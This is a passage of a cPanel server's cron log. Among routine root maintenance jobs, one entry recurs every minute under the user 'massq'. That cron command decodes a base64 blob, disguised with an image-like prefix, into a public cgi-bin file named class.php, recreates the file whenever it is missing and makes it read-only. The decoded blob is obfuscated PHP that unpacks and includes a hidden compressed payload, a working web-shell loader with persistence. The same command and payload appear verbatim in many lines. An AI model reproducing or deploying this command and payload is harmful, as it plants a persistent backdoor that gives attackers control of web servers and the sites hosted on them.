OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:11:01 server CROND[30102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:11:01 server CROND[30103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:12:01 server CROND[30478]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:12:01 server CROND[30480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:12:01 server CROND[30479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:12:01 server CROND[30481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:13:01 server CROND[30846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:13:01 server CROND[30847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:13:01 server CROND[30848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:14:01 server CROND[31213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:14:01 server CROND[31214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:14:01 server CROND[31216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:15:01 server CROND[31607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:15:01 server CROND[31610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:15:01 server CROND[31611]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 09:15:01 server CROND[31612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:15:01 server CROND[31625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:15:01 server CROND[31626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:15:01 server CROND[31627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:15:01 server CROND[31632]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:16:01 server CROND[32442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:16:01 server CROND[32443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:16:01 server CROND[32444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:17:01 server CROND[496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:17:01 server CROND[497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:17:01 server CROND[498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:18:01 server CROND[893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:18:01 server CROND[894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:18:01 server CROND[895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:19:01 server CROND[1361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:19:01 server CROND[1363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:19:01 server CROND[1364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:20:01 server CROND[1753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:20:01 server CROND[1755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:20:01 server CROND[1760]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:20:01 server CROND[1761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:20:01 server CROND[1759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:20:01 server CROND[1758]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:20:01 server CROND[1762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:20:01 server CROND[1764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:20:01 server CROND[1763]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:21:01 server CROND[2648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:21:01 server CROND[2649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:21:01 server CROND[2650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:22:01 server CROND[3132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:22:01 server CROND[3133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:22:01 server CROND[3134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:23:01 server CROND[3552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:23:01 server CROND[3553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:23:01 server CROND[3554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
